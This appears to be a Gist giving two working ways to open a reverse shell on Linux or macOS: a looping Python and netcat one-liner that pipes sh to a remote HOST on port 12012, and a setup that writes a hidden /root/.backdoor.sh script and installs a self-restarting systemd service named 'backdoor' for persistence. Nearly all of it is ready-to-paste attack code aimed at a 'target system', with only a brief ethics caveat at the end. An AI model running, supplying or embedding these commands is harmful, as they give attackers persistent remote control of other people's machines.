On the target system, execute the following command (replace HOST with your server's IP or domain):
while :; do python3 -c "HOST='localhost'; PORT='12012'; SHELL='sh'; import datetime; print(datetime.datetime.now(),'connecting to',HOST,PORT);import subprocess; nc_process=subprocess.Popen(['nc', HOST, str(PORT)], stdin=subprocess.PIPE, stdout=subprocess.PIPE, text=True); sh_process=subprocess.Popen([SHELL], stdin=nc_process.stdout, stdout=nc_process.stdin, stderr=nc_process.stdin, text=True); nc_process.wait(); sh_process.kill()"; sleep 1; doneNow, you can connect to the reverse shell with nc -l 12012. Run this command on your server
Create a Linux systemd service! Replace the HOST value in the command below with your server's IP or domain and paste it into your target system.
HOST="localhost"
PORT="12012"
service_name=backdoor
runner="/root/.$service_name.sh"
tee<<EOF > $runner
#!/bin/sh
while :
do
python3 -c "HOST='$HOST'; PORT='$PORT'; SHELL='sh'; import datetime; print(datetime.datetime.now(),'connecting to',HOST,PORT);import subprocess; nc_process=subprocess.Popen(['nc', HOST, str(PORT)], stdin=subprocess.PIPE, stdout=subprocess.PIPE, text=True); sh_process=subprocess.Popen([SHELL], stdin=nc_process.stdout, stdout=nc_process.stdin, stderr=nc_process.stdin, text=True); nc_process.wait(); sh_process.kill()"
sleep 5
done
EOF
chmod +x $runner
tee<<EOF > /etc/systemd/system/$service_name.service
[Unit]
Description=$service_name
After=network.target
[Service]
Type=simple
ExecStart=/bin/sh $runner
Restart=always
RestartSec=10
[Install]
WantedBy=multi-user.target
EOF
chmod 644 /etc/systemd/system/$service_name.service
systemctl daemon-reload
systemctl enable $service_name.service
systemctl restart $service_name.serviceNow, you can connect to the reverse shell with nc -l 12012. Note: Run this command on your server.
This Gist presents two methods to establish a reverse shell on Linux and macOS using Python and Netcat (nc). The first method offers a simple, one-liner command for quick execution on the target system. The second method introduces a more advanced setup involving a systemd service for enhanced persistence. If target system lacks Python or Netcat, make sure to install them before running the scripts. Additionally, remember to replace the HOST value with your server's IP or domain. Always exercise caution and adhere to ethical considerations when implementing these techniques.